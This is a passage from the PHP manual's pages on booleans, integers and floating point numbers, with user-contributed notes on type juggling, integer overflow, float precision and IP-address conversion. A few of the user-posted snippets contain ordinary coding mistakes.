          array('name' => 'Olivier', 'note' =>3, 'listId' => array(2)),
          array('name' => 'Gregory', 'note' => 1, 'listId' => array(45,58)),
          array('name' => 'Clement', 'note' => 2, 'listId' => array(584,587,741,14781,147))
        );

//sorted Arrays :
        $testArrayByNameASC = arraySortByElements($testArray,'name',1);
        $testArrayByNoteDESC = arraySortByElements($testArray,'note',-1);
        $testArrayByCountlistIdDESC = arraySortByElements($testArray,'listId',-1,true);

?>
mobil dot boty at no dot spam dot gmail dot com 08-Jul-2010 02:33
<?php
function test() {
     return TRUE;
}

$var = test();

// FASE instead of FALSE

if ($var == FASE) {
     echo 'function returned FALSE';
} else {
     echo 'function returned TRUE';
}

// will output : function returned FALSE
?>

   Just spent 10 mins trying to figure out why a function returned false when it didn't, so check your typing or use === instead of ==
fyrye at torntech dot com 14-Jun-2010 04:39
Since I haven't seen it posted.
Here is a function that you can use if you have a need to force strict boolean values.
Hopefully this will save someone some time from searching for similar.
<?php
function strictBool($val=false){
    return is_integer($val)?false:$val == 1;
}
?>

Simply put, it verifies that the value passed is (bool)true otherwise it's false.

Examples:
__________________________________
<?php
$myBool = strictBool(true);
var_dump($myBool);
//returns (bool)true

$myar = array(0 => true);
$myBool = strictBool($myar[0]);
var_dump($myBool);
//returns (bool)true

$myBool = strictBool("hello");
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(false);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(array(0 => "hello"));
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(1);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool();
var_dump($myBool);
//returns (bool)false
?>
mercusmaximus at yahoo dot com 06-Feb-2010 01:50
Note that the comparison: (false == 0) evaluates to true and so will any value you set to false as well (without casting).
Symbol 11-Apr-2009 01:35
Just a side note, doesn't really matters, the reason -1 is true and not false is because boolean type is treated as unsigned, so -1 would be for example, if it's unsigned int32 translate to hex: 0xFFFFFFFF and back to decimal: 4294967295 which is non-zero. there isn't really a "negative boolean". it's a binary thing. :o (since it used to be a bit and then there was only 0 and 1 as an option)
russell dot harper at springboardnetworks dot com 02-Apr-2009 06:27
PHP is very fussy converting strings to booleans. The only ones it recognizes are '0' or '', everything else evaluates to TRUE, even 'false' and '0.0' are evaluated as true! I suppose this can't be fixed without breaking a lot of existing code.

Example:

<?php

print 'yes'."\t".((bool)'yes'? 1: 0)."\n";
print 'true'."\t".((bool)'true'? 1: 0)."\n";
print 'no'."\t".((bool)'no'? 1: 0)."\n";
print 'false'."\t".((bool)'false'? 1: 0)."\n";
print '1'."\t".((bool)'1'? 1: 0)."\n";
print '0'."\t".((bool)'0'? 1: 0)."\n";
print '0.0'."\t".((bool)'0.0'? 1: 0)."\n";
print ''."\t".((bool)''? 1: 0)."\n";

?>

Output:

yes     1
true    1
no      1
false   1
1       1
0       0
0.0     1
        0
ashafer01 at gmail dot com 25-Feb-2009 07:59
A note when working with PostgreSQL - if you select a boolean field from the database, it returns 't' or 'f'. If you directly evaluate a variable storing a boolean from a PostgreSQL database, it will always return true.

For example...

<?php
$x = pg_query("SELECT someBool FROM atable");
$x = pg_fetch_array($x);
$x = $x['someBool'];

if ($x) echo "true";
else echo "false";
?>

...ALWAYS outputs true
admin at eexit dot fr 04-Nov-2008 12:27
Beware of certain control behavior with boolean and non boolean values :

<?php
// Consider that the 0 could by any parameters including itself
var_dump(0 == 1); // false
var_dump(0 == (bool)'all'); // false
var_dump(0 == 'all'); // TRUE, take care
var_dump(0 === 'all'); // false

// To avoid this behavior, you need to cast your parameter as string like that :
var_dump((string)0 == 'all'); // false
?>
wbcarts at juno dot com 06-Oct-2008 11:59
CODING PRACTICE...

Much of the confusion about booleans (but not limited to booleans) is the fact that PHP itself automatically makes a type cast or conversion for you, which may NOT be what you want or expect. In most cases, it's better to provide functions that give your program the exact behavior you want.
<?php

function boolNumber($bValue = false) {                      // returns integer
  return ($bValue ? 1 : 0);
}

function boolString($bValue = false) {                      // returns string
  return ($bValue ? 'true' : 'false');
}

$a = true;                                                  // boolean value
echo 'boolean $a AS string = ' . boolString($a) . '<br>';   // boolean as a string
echo 'boolean $a AS number = ' . boolNumber($a) . '<br>';   // boolean as a number
echo '<br>';

$b = (45 > 90);                                             // boolean value
echo 'boolean $b AS string = ' . boolString($b) . '<br>';   // boolean as a string
echo 'boolean $b AS number = ' . boolNumber($b) . '<br>';   // boolean as a number
echo '<br>';

$c = boolNumber(10 > 8) + boolNumber(!(5 > 10));            // adding booleans
echo 'integer $c = ' . $c .'<br>';

?>
Results in the following being printed...

 boolean $a AS string = true
 boolean $a AS number = 1

 boolean $b AS string = false
 boolean $b AS number = 0

 integer $c = 2

In other words, if we know what we want out of our program, we can create functions to accommodate. Here, we just wanted 'manual control' over numbers and strings, so that PHP doesn't confuse us.
Wackzingo 27-Jan-2008 06:39
It is correct that TRUE or FALSE should not be used as constants for the numbers 0 and 1. But there may be times when it might be helpful to see the value of the Boolean as a 1 or 0. Here's how to do it.

<?php
$var1 = TRUE;
$var2 = FALSE;

echo $var1; // Will display the number 1

echo $var2; //Will display nothing

/* To get it to display the number 0 for
a false value you have to typecast it: */

echo (int)$var2; //This will display the number 0 for false.
?>
Steve 15-Jan-2008 03:00
PHP does not break any rules with the values of true and false.  The value false is not a constant for the number 0, it is a boolean value that indicates false.  The value true is also not a constant for 1, it is a special boolean value that indicates true.  It just happens to cast to integer 1 when you print it or use it in an expression, but it's not the same as a constant for the integer value 1 and you shouldn't use it as one.  Notice what it says at the top of the page:

A boolean expresses a truth value.

It does not say "a boolean expresses a 0 or 1".

It's true that symbolic constants are specifically designed to always and only reference their constant value.  But booleans are not symbolic constants, they are values.  If you're trying to add 2 boolean values you might have other problems in your application.
Anonymous 06-Jan-2008 07:05
Note that the symbolic constants TRUE and FALSE are treated differently.  I was told that this is a feature, not a bug.

echo false ;
echo (false) ;
echo false+false ;
echo (false+false) ;
echo intval(false) ;
echo '"'.false.'"' ;

echo true ;
echo (true) ;
echo true+true ;
echo (true+true) ;
echo intval(true) ;
echo '"'.true.'"' ;

should produce

00000"0"11221"1"

but instead produces

000""11221"1"

In other words, the only way to output the underlying zero or use it in a string is to use 'false+false' or pass it through intval().  No such tricks are required to get at the 1 that underlies true.

The whole idea of symbolic constants is that the underlying value *always* replaces them during translation, and thus anywhere you would otherwise have to use some obscure "magic number" such as 191, you can use a symbolic constant that makes sense, such as TOTAL_NATIONS.

Exactly what php gets out of breaking this rule was not explained to me.
artktec at gmail dot com 27-Sep-2007 09:37
Note you can also use the '!' to convert a number to a boolean, as if it was an explicit (bool) cast then NOT.

So you can do something like:

<?php
$t = !0; // This will === true;
$f = !1; // This will === false;
?>

And non-integers are casted as if to bool, then NOT.

Example:

<?php
$a = !array();      // This will === true;
$a = !array('a');   // This will === false;
$s = !"";           // This will === true;
$s = !"hello";      // This will === false;
?>

To cast as if using a (bool) you can NOT the NOT with "!!" (double '!'), then you are casting to the correct (bool).

Example:

<?php
$a = !!array();   // This will === false; (as expected)
/*
This can be a substitute for count($array) > 0 or !(empty($array)) to check to see if an array is empty or not  (you would use: !!$array).
*/

$status = (!!$array ? 'complete' : 'incomplete');

$s = !!"testing"; // This will === true; (as expected)
/*
Note: normal casting rules apply so a !!"0" would evaluate to an === false
*/
?>
terminatorul at gmail dot com 29-Apr-2007 02:21
Beware that "0.00" converts to boolean TRUE !

You may get such a string from your database, if you have columns of type DECIMAL or CURRENCY. In such cases you have to explicitly check if the value is != 0 or to explicitly convert the value to int also, not only to boolean.
Introduction
Integers
Types


Integers

An integer is a number of the set ℤ = {..., -2, -1, 0, 1, 2, ...}.

See also:

  • Arbitrary length integer / GMP
  • Floating point numbers
  • Arbitrary precision / BCMath

Syntax

Integers can be specified in decimal (base 10), hexadecimal (base 16), octal (base 8) or binary (base 2) notation, optionally preceded by a sign (- or +).

Binary integer literals are available since PHP 5.4.0.

To use octal notation, precede the number with a 0 (zero). To use hexadecimal notation precede the number with 0x. To use binary notation precede the number with 0b.

Example #1 Integer literals

<?php
$a = 1234; // decimal number
$a = -123; // a negative number
$a = 0123; // octal number (equivalent to 83 decimal)
$a = 0x1A; // hexadecimal number (equivalent to 26 decimal)
?>

Formally, the structure for integer literals is:

decimal     : [1-9][0-9]*
            | 0

hexadecimal : 0[xX][0-9a-fA-F]+

octal       : 0[0-7]+

binary      : 0b[01]+

integer     : [+-]?decimal
            | [+-]?hexadecimal
            | [+-]?octal
            | [+-]?binary

The size of an integer is platform-dependent, although a maximum value of about two billion is the usual value (that's 32 bits signed). 64-bit platforms usually have a maximum value of about 9E18. PHP does not support unsigned integers. Integer size can be determined using the constant PHP_INT_SIZE, and maximum value using the constant PHP_INT_MAX since PHP 4.4.0 and PHP 5.0.5.

Warning

If an invalid digit is given in an octal integer (i.e. 8 or 9), the rest of the number is ignored.

Example #2 Octal weirdness

<?php
var_dump(01090); // 010 octal = 8 decimal
?>

Integer overflow

If PHP encounters a number beyond the bounds of the integer type, it will be interpreted as a float instead. Also, an operation which results in a number beyond the bounds of the integer type will return a float instead.

Example #3 Integer overflow on a 32-bit system

<?php
$large_number = 2147483647;
var_dump($large_number);                     // int(2147483647)

$large_number = 2147483648;
var_dump($large_number);                     // float(2147483648)

$million = 1000000;
$large_number =  50000 * $million;
var_dump($large_number);                     // float(50000000000)
?>

Example #4 Integer overflow on a 64-bit system

<?php
$large_number = 9223372036854775807;
var_dump($large_number);                     // int(9223372036854775807)

$large_number = 9223372036854775808;
var_dump($large_number);                     // float(9.2233720368548E+18)

$million = 1000000;
$large_number =  50000000000000 * $million;
var_dump($large_number);                     // float(5.0E+19)
?>

There is no integer division operator in PHP. 1/2 yields the float 0.5. The value can be casted to an integer to round it downwards, or the round() function provides finer control over rounding.

<?php
var_dump(25/7);         // float(3.5714285714286)
var_dump((int) (25/7)); // int(3)
var_dump(round(25/7));  // float(4)
?>

Converting to integer

To explicitly convert a value to integer, use either the (int) or (integer) casts. However, in most cases the cast is not needed, since a value will be automatically converted if an operator, function or control structure requires an integer argument. A value can also be converted to integer with the intval() function.

See also: type-juggling.

From booleans

FALSE will yield 0 (zero), and TRUE will yield 1 (one).

From floating point numbers

When converting from float to integer, the number will be rounded towards zero.

If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31 on 32-bit platforms and +/- 9.22e+18 = 2^63 on 64-bit platforms), the result is undefined, since the float doesn't have enough precision to give an exact integer result. No warning, not even a notice will be issued when this happens!

Warning

Never cast an unknown fraction to integer, as this can sometimes lead to unexpected results.

<?php
echo (int) ( (0.1+0.7) * 10 ); // echoes 7!
?>

See also the warning about float precision.

From strings

See String conversion to numbers

From other types

Caution

The behaviour of converting to integer is undefined for other types. Do not rely on any observed behaviour, as it can change without notice.

User Contributed Notes

Richard 16-Apr-2011 09:53
Integer arithmetic in PHP is more accurate than one might think. On a 32-bit system, the largest value that can be held in an INT is  2147483647.
However, a FLOAT can accurately hold integer values up to 10000000000000.
(this is because the significand precision of a double is 53-bits).
php at keith tyler dot com 13-Apr-2011 11:08
If you need to convert a numeric string (or more to the point, an object that represents a numeric value) that is greater then PHP_INT_MAX, and you don't have GMP or BCMath installed, you can cast to float.

For example, when using SimpleXMLElement, you sometimes have to cast the extracted values, such as xml attributes, because they are returned as SimpleXMLElements and not their values' native types. While print() has no trouble with converting them, other functions, such as max(), might not.

But if you cast such a value with (int), and it is over PHP_INT_MAX, you will just get PHP_INT_MAX (and vice versa for negative numbers).

The Q&D no-muss solution is to cast to (float) instead.
pere dot cil at wanadoo dot fr 15-Mar-2011 01:59
Please also note that the maximum stored in the integer depends on the platform / compilation; on windows xp 32 bits, the following value:

0x5468792130ABCDEF

echoes to:

6.0822444802213E+18 (cast to float)

On a fully 64 bits system, it echoes to:

6082244480221302255
iletras at yahoo dot com 11-Oct-2010 08:19
//This is a (simpler ?) function to return number of digits of an integer.

//function declaration
function count_digit($number) {
  return  strlen((string) $number);
}

//function call
$num = 12312;
$number_of_digits = count_digit($num); //this is call :)
echo $number_of_digits;
//prints 5
sean dot gilbertson at gmail dot com 08-Jan-2009 01:57
You can make a signed, negative integer an unsigned integer (in string form) by doing the following:

<?php
$unsigned = sprintf('%u', -5);

echo $unsigned; // prints 4294967291
?>
Giovanni 30-Oct-2008 10:22
why not just using logarithms?

$num_of_digits = (int)(log($num,$base) +1);

I think this should be more performant (as it relies on the math coprocessor) and it could be extended to number of digits representing the number in any base, not just decimal
Hamza Burak Ylmaz 24-Oct-2008 02:36
<?php
//This is a simple function to return number of digits of an integer.

//function declaration
function count_digit($number)
{
    $digit = 0;
    do
    {
        $number /= 10;      //$number = $number / 10;
        $number = intval($number);
        $digit++;
    }while($number!=0);
    return $digit;
}

//function call
$num = 12312;
$number_of_digits = count_digit($num); //this is call :)
echo $number_of_digits;
//prints 5
?>
wbcarts at juno dot com 06-Oct-2008 06:25
PHP offers a slew of built-in functions and automatic type-casting routines which can get pretty complicated. But most of the time, you still have to take matters into your own hands and allow PHP to do its thing. In that case, and something that has NOT been mentioned, is how to construct your code. To keep things simple, I divide all my scripts in half. The top half gives my scripts the "capability" they need, and the lower half is the actual code to be "run" or "executed".

<?php
/*
 * build the program's capability - define variables and functions...
 */
$item_label = '';        // type string
$item_price = 0.0;       // type float
$item_qty = 1;           // type integer
$item_total = 0.0;       // type float - to set use calculate()

function calculate(){
  global $item_price, $item_qty, $item_total;
  $item_price = number_format($item_price, 2);
  $item_total = number_format(($item_price * $item_qty), 2);
}

function itemToString() {
  global $item_label, $item_price, $item_qty, $item_total;
  return "$item_label [price=\$$item_price, qty=$item_qty, total=\$$item_total]";
}

/*
 * run the program - set data, call methods...
 */
$item_label = "Coffee";
$item_price = 3.89;
$item_qty = 2;
calculate();           // set $item_total
echo itemToString();   // -> Coffee [price=$3.89, qty=2, total=$7.78]

$item_label = "Chicken";
$item_price = .80;     // per lb.
$item_qty = 3.5;       // lbs.
calculate();           // set $item_total
echo itemToString();   // -> Chicken [price=$0.80, qty=3.5, total=$2.80]
?>
Note: All type-casting is done by PHP's built-in number_format() method. This allows our program to enter any number (float or int) on item price or quantity in the runtime part of our script. Also, if we explicitly cast values to integer in the capability part of our script, then we start getting results that may not be desirable for this program. For example, if in the calculate method we cast item_qty to integer, then we can no longer sell chicken by the pound!
dbmuller at gmail dot com 18-Aug-2008 04:43
be careful relying on PHP's data type handling.  I have a class that handles database calls and in there a function to handle types and formatting them for insertion.

<?php
case constants::int:
  $returnString = ($valueString >= 0) ? $valueString : "null";
  break;
?>

Will evaluate to false if a user enters "0" since PHP thinks that the 0 is a Boolean.  The following code fixes it:

<?php
case constants::int:
  $returnString = ((int)$valueString >= 0) ? (int)$valueString : "null";
 break;

?>
rustamabd at gmail dot com 04-Aug-2008 04:45
Be very careful with code that relies on integer overflow. Negative overflow is handled differently on different platforms. For example, this code:
<?php
  echo (int)-3000000000; // a 32bit negative overflow
?>
... outputs 1294967296 on Windows, and -2147483648 on FreeBSD.
(Tested with php 5.2.6, freebsd 7.0)
eric 11-Jun-2008 01:50
In response to the comment by me at troyswanson dot net:

-2147483648 falls into the range of 32 bit signed integers yet php treats it as a float.  However, -2147483647-1 is treated as an integer.

The following code demonstrates:
<?php
    var_dump(-2147483648); //float(-2147483648)
    var_dump(-2147483647 - 1); //int(-2147483648)
?>

This is probably very similar to the MS C bug which also treats -2147483648 as an UNSIGNED because it thinks it's out of the range of a signed int.

The problem is that the parser does not view "-x" as a single token, but rather as two, "-" and "x".  Since "x" is out of the range of an INT, it is promoted to float, even though in this unique case, "-x" is in the range of an int.

The best cure is probably to replace "-2147483648" with "0x80000000", as that is the hexadecimal equivalent of the same number.

Hope that helps explain what's going on

Peace

 - Eric / fez
winterheat 10-Jun-2008 03:25
PHP_INT_SIZE seems to be 8 when it is 64 bit integers... so 8 means the number of bytes, or number of 8-bits.
Elliott Brueggeman 06-Feb-2008 07:52
Don't forget about the integer minimum value. From my experimentation, the lowest valid integer is (PHP_INT_MAX * -1)-1. All values smaller than this fail the is_int() test, even though the may appear to act normally during mathematic operations. More info on this: http://www.ebrueggeman.com/blog/php/integers-and-floating-numbers/
bart at NOvankuikSPAM dot nl 09-Jan-2008 01:06
When handling very large numbers in PHP, you'll notice they get cut off at hexadecimal 7FFFF FFFF. Sometimes, you don't need to use these numbers in an actual calculation in PHP (i.e. just editing and displaying), and just need to save them in a database.

In that case, you can let MySQL handle the conversion from and to hexadecimal notation. In the example below, engineers need to save hexadecimal addresses up to FFFF FFFF. To update such a value in MySQL, use the following query, where 'addr' is a column with type unsigned integer(10).

<?php

        $query = "
        UPDATE hardware_register
        SET    name = ?,
               type = ?,
               addr = conv(?, 16, 10)
        WHERE  id = ?
        ";

?>

And selecting:
<?php
    $query = "
    SELECT name, type, conv(addr, 10, 16)
    FROM   hardware_register
    WHERE  id = ?
    ";

?>

Note that you'll have to treat the resulting addr column as a string everywhere in PHP. You can't do conversions like:

<?php
    $addr_decimal = sprintf("%X", $addr_column);
?>

because that'll result in $addr_decimal having the cut-off, maximum int value.
autotelic at NOOOOSPAM dot hotmail dot com 29-Nov-2007 10:36
A note about converting IP addresses for storage in database.  For MySQL, this is unnecessary as it has built in support via the INET functions.  Also, there is no need to use BIGINT.  UNSIGNED INT is, at 4 bytes, the perfect size for holding an IP (column must be defined as UNSIGNED).  This can basically halve the storage size, as BIGINT is an 8 byte data type.

INET_ATON() converts a dotted IP string to INT:
INSERT table(ip) VALUES(INET_ATON('127.0.0.1'));

INET_NTOA() converts an INT to dotted IP string:
SELECT INET_NTOA(ip) FROM table
returns '127.0.0.1'

Details:
http://dev.mysql.com/doc/refman/5.1/en/miscellaneous-functions.html
darkshire 16-Nov-2007 04:56
d_n at NOSPAM dot Loryx dot com
13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

This can be written in a bit more efficient way:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0]<<24
            + $ipArr[1]<<16
            + $ipArr[2] <<8
            + $ipArr[3]
            ;
?>

shift is more cheaper.
Paul 04-Sep-2007 11:46
"always round it downwards"

It seems to truncate, or round toward zero, rather than downward. If the float is negative, it is rounded up.
d_n at NOSPAM dot Loryx dot com 13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

IP as BIGINT read from db back to dotted form:

Keep in mind, PHP integer operators are INTEGER -- not long. Also, since there is no integer divide in PHP, we save a couple of S-L-O-W floor (<division>)'s by doing bitshifts. We must use floor(/) for $ipArr[0] because though $ipVal is stored as a long value, $ipVal >> 24 will operate on a truncated, integer value of $ipVal! $ipVint is, however, a nice integer, so
we can enjoy the bitshifts.

<?php
        $ipVal = $row['client_IP'];
        $ipArr = array(0 =>
                    floor(  $ipVal               / 0x1000000) );
        $ipVint   = $ipVal-($ipArr[0]*0x1000000); // for clarity
        $ipArr[1] = ($ipVint & 0xFF0000)  >> 16;
        $ipArr[2] = ($ipVint & 0xFF00  )  >> 8;
        $ipArr[3] =  $ipVint & 0xFF;
        $ipDotted = implode('.', $ipArr);
?>
me at troyswanson dot net 12-Jun-2007 03:11
This note applies to machines that are using a 32 bit integer size.  I imagine the same results occur in 64 bit machines as well (with the number 2^63-1).

-2147483648 falls into the range of 32 bit signed integers (0b10000000000000000000000000000000), yet php treats it as a float.  However, -2147483647-1 is treated as an integer.

The following code demonstrates:
<?php
    var_dump(-2147483648); //float(-2147483648)
    var_dump(-2147483647 - 1); //int(-2147483648)
?>

Regards
Jacek 10-Mar-2007 04:51
On 64 bits machines max integer value is 0x7fffffffffffffff (9 223 372 036 854 775 807).
09-Mar-2007 07:26
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
echo(dechex("2724838310"));
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
echo(dechex("2724838310"+0));
will print 'A269BBA6'
popefelix at gmail dot com 21-Dec-2006 06:50
Be careful when using integer conversion to test something to see if it evaluates to a positive integer or not.  You might get unexpected behaviour.

To wit:
<?php
error_reporting(E_ALL);
require_once 'Date.php';

$date = new Date();
print "\$date is an instance of " . get_class($date) . "\n";
$date += 0;
print "\$date is now $date\n";
var_dump($date);

$foo = new foo();
print "\$foo is an instance of " . get_class($foo) . "\n";
$foo += 0;
print "\$foo is now $foo\n";
var_dump($foo);

class foo {
    var $bar = 0;
    var $baz = "la lal la";
    var $bak;

    function foo() {
        $bak = 3.14159;
    }
}
?>

After the integer conversion, you might expect both $foo and $date to evaluate to 0.  However, this is not the case:

$date is an instance of Date

Notice: Object of class Date could not be converted to int in /home/kpeters/work/sketches/ObjectSketch.php on line 7
$date is now 1
int(1)
$foo is an instance of foo

Notice: Object of class foo could not be converted to int in /home/kpeters/work/sketches/ObjectSketch.php on line 13
$foo is now 1
int(1)

This is because the objects are first converted to boolean before being converted to int.
rustamabd@gmail-you-know-what 12-Dec-2006 01:42
Be careful with using the modulo operation on big numbers, it will cast a float argument to an int and may return wrong results. For example:
<?php
    $i = 6887129852;
    echo "i=$i\n";
    echo "i%36=".($i%36)."\n";
    echo "alternative i%36=".($i-floor($i/36)*36)."\n";
?>
Will output:
i=6.88713E+009
i%36=-24
alternative i%36=20
jmw254 at cornell dot edu 25-Aug-2006 10:14
Try this one instead:

function iplongtostring($ip)
{
    $ip=floatval($ip); // otherwise it is capped at 127.255.255.255

    $a=($ip>>24)&255;
    $b=($ip>>16)&255;
    $c=($ip>>8)&255;
    $d=$ip&255;

    return "$a.$b.$c.$d";
}
rickard_cedergren at yahoo dot com 27-Jan-2005 01:15
When doing large subtractions on 32 bit unsigned integers the result sometimes end up negative. My example script converts a IPv4 address represented as a 32 bit unsigned integer to a dotted quad (similar to ip2long()), and adds a "fix" to the operation.

   /**************************
    * int_oct($ip)
    * Convert INTeger rep of IP to octal (dotted quad)
    */
   function int_oct($ip) {

      /* Set variable to float */
      settype($ip, float);

      /* FIX for silly PHP integer syndrome */
      $fix = 0;
      if($ip > 2147483647) $fix = 16777216;

      if(is_numeric($ip)) {
         return(sprintf("%u.%u.%u.%u",
                $ip / 16777216,
                (($ip % 16777216) + $fix) / 65536,
                (($ip % 65536) + $fix / 256) / 256,
                ($ip % 256) + $fix / 256 / 256
                )
     );
      }
      else {
         return('');
      }
   }
23-Dec-2003 10:18
Sometimes you need to parse an unsigned
32 bit integer. Here's a function I 've used:

    function parse_unsigned_int($string) {
        $x = (float)$string;
        if ($x > (float)2147483647)
            $x -= (float)"4294967296";
        return (int)$x;
    }
Booleans
Floating point numbers
Types


Floating point numbers

Floating point numbers (also known as "floats", "doubles", or "real numbers") can be specified using any of the following syntaxes:

<?php
$a = 1.234;
$b = 1.2e3;
$c = 7E-10;
?>

Formally:

LNUM          [0-9]+
DNUM          ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM})

The size of a float is platform-dependent, although a maximum of ~1.8e308 with a precision of roughly 14 decimal digits is a common value (the 64 bit IEEE format).

Warning

Floating point precision

Floating point numbers have limited precision. Although it depends on the system, PHP typically uses the IEEE 754 double precision format, which will give a maximum relative error due to rounding in the order of 1.11e-16. Non elementary arithmetic operations may give larger errors, and, of course, error propagation must be considered when several operations are compounded.

Additionally, rational numbers that are exactly representable as floating point numbers in base 10, like 0.1 or 0.7, do not have an exact representation as floating point numbers in base 2, which is used internally, no matter the size of the mantissa. Hence, they cannot be converted into their internal binary counterparts without a small loss of precision. This can lead to confusing results: for example, floor((0.1+0.7)*10) will usually return 7 instead of the expected 8, since the internal representation will be something like 7.9999999999999991118....

So never trust floating number results to the last digit, and never compare floating point numbers for equality. If higher precision is necessary, the arbitrary precision math functions and gmp functions are available.

Converting to float

For information on converting strings to float, see String conversion to numbers. For values of other types, the conversion is performed by converting the value to integer first and then to float. See Converting to integer for more information. As of PHP 5, a notice is thrown if an object is converted to float.

NaN

Some numeric operations can result in a value represented by the constant NAN. This result represents an undefined or unrepresentable value in floating-point calculations. Any loose or strict comparisons of this value against any other value, including itself, will have a result of FALSE.

Because NAN represents any number of different values, NAN should not be compared to other values, including itself, and instead should be checked for using is_nan().

User Contributed Notes

reinaldorock at yahoo dot com dot br 13-Oct-2011 07:12
Convert locale string into float number

<?php
function str2num($str){
  if(strpos($str, '.') < strpos($str,',')){
            $str = str_replace('.','',$str);
            $str = strtr($str,',','.');
        }
        else{
            $str = str_replace(',','',$str);
        }
        return (float)$str;
}

str2num('25,01'); //25.01
str2num('2.5,01'); //25.01
str2num('25.01'); //25.01
str2num('2,5.01'); //25.01
?>
cah4a at e-mail dot ua 11-Oct-2011 02:16
Converting IEEE754 64 bit binary to float in 32bit php version:

<?php
function getDouble($bits) {
        if( strlen(binary_data)!=64 )
              throw new Exception("wrong binary data");

        $sign = $digits[0];
        $exp = bindec(substr($bits, 1, 11)) - 1023;
        $mantissa_length = 30; // This is max workable length for 32bit representation of mantissa. We not use other (52-$mantissa_length bits)
        $man = (2 << ($mantissa_length-1)) + bindec(substr($bits, 12, $mantissa_length));

        return $man * pow(2, $exp - $mantissa_length) * ($sign ? -1 : 1);
}
?>
maxiumswarp at gmail dot com 27-Apr-2011 03:12
I found that to compare floats correctly I had to use this, it works very good for doing price comparison, such as order validation to make sure final prices are correct before they send. This is make your statements return true are false correctly.

<?php
$number1=number_format($float1,2,'.','');
$number2=number_format($float2,2,'.''');
if($number1!=$number2){
 echo 'do correction here!';
}
?>
zelko at mojeime dot com 31-Mar-2011 01:02
<?php
   $binarydata32 = pack('H*','00000000');
   $float32 = unpack("f", $binarydata32); // 0.0

   $binarydata64 = pack('H*','0000000000000000');
   $float64 = unpack("d", $binarydata64); // 0.0
?>

I get 0 both for 32-bit and 64-bit numbers.

But, please don't use your own "functions" to "convert" from float to binary and vice versa. Looping performance in PHP is horrible. Using pack/unpack you use processor's encoding, which is always correct. In C++ you can access the same 32/64 data as either float/double or 32/64 bit integer. No "conversions".

To get binary encoding:
<?php
   $float32 = pack("f", 5300231);
   $binarydata32 =unpack('H*',$float32); //"0EC0A14A"

   $float64 = pack("d", 5300231);
   $binarydata64 =unpack('H*',$float64); //"000000C001385441"
?>

And my example from half a year ago:
<?php
    $binarydata32 = pack('H*','0EC0A14A');
    $float32 = unpack("f", $binarydata32); // 5300231

    $binarydata64 = pack('H*','000000C001385441');
    $float64 = unpack("d", $binarydata64); // 5300231
?>

And please mind the Big and Little endian boys...
manasseh at smartcomputerinc.com 06-Mar-2011 07:35
I found that 00000000 hex was converting to 1.0 decimal. From the Wikipedia article on IEEE-754 floating point:

The true significand includes 23 fraction bits to the right of the binary point and an implicit leading bit (to the left of the binary point) with value 1 unless the exponent is stored with all zeros.

In hex2float32n, replace:

      $intnumber=bindec("1".$binint);

with

   if ($exp <> -127)
      { $intnumber=bindec("1".$binint); };

and then 00000000 works correctly without affecting "normal" numbers.
Nstiac (info at nstiac dot com) 28-Jan-2011 02:56
There are many scripts/functions to convert a Hex string to a Floating point number, but i could'nt find any usable function to convert a float2hex (float number to hexadecimal) .. so i went on an made one! .. to my surprise.. it didn't matched the other existing functions results exactly due to different methods used on each .. so i went on an created a complementary function to have both results match float2hex32n<->hex2float32n.

<?php

/** Complementary functions to CONVERT PHP FLOATING POINT NUMBERS or DECIMALS
 *  (IEEE 754 single-precision 32 bit) TO HEXADECIMAL AND BACK.
 *
 *  @author NSTIAC (Jorge D. Baigorri Salas) <http://www.nstiac.com> <http://www.n2works.com>
 *  @created on 28/Jan/2010 / time spent: 2hours approx.
 *  @special thanks to Thomas Finley's article "Floating Point"
 *  <http://tfinley.net/notes/cps104/floating.html>
 *
 *  These functions allow to convert any php floating point numbers with the
 *  notation 1.234 (or fixed point numbers) into their corresponding 8 digits
 *  hexadecimal notation. (i.e.- 1557897.40 -> 49BE2C4B <- 1557897.40) by
 *  disregarding their implicit format and treating them at will as either
 *  integer, decimals, binary numbers, hexadecimal values, or plain text.
 *
**/

/** FLOAT2HEX32n
  * (Convert php float numbers or decimals (single-precision 32bits) to 8 digit Hexadecimal)
  * Accepts only fixed point notation decimal numbers or fractions on a string (i.e.- "1.23456")
  * @usage:
  * float2hex32n("-1557897.13"); returns "c9be2c49"
**/

function float2hex32n($number) {
    //Convert non-decimal to decimal.
    $number=number_format($number,23,'.','');
    //Get the integer portion of $number
    if ($number>0) {
        $intnumber=substr($number,0,strpos($number,"."));
    } else {
        //Check whether is a negative number to remove - sign.
        $intnumber=substr($number,1,strpos($number,"."));
    }
    //Convert integer to binary
    $binint=decbin($intnumber);
    //Get the decimal fraction of the number
    $pointnumber=substr($number,strpos($number,"."));
    //Add a 0 to treat as single decimal fraction
    $pointnumber="0".$pointnumber;
    //Convert decimal values to base 2
    $tmppoint=number_format($pointnumber*2,23,'.','');
    for ($i=0; $i<23; $i++) {
        $binpoint.=substr((string)$tmppoint,0,1);
        $tmppoint=substr((string)$tmppoint,1);
        $tmppoint=number_format($tmppoint*2,23,'.','');
    }
    //Gather both values to get base 2 binary fraction
    $scibin=$binint.".".$binpoint;
    //Find fraction separator "." position
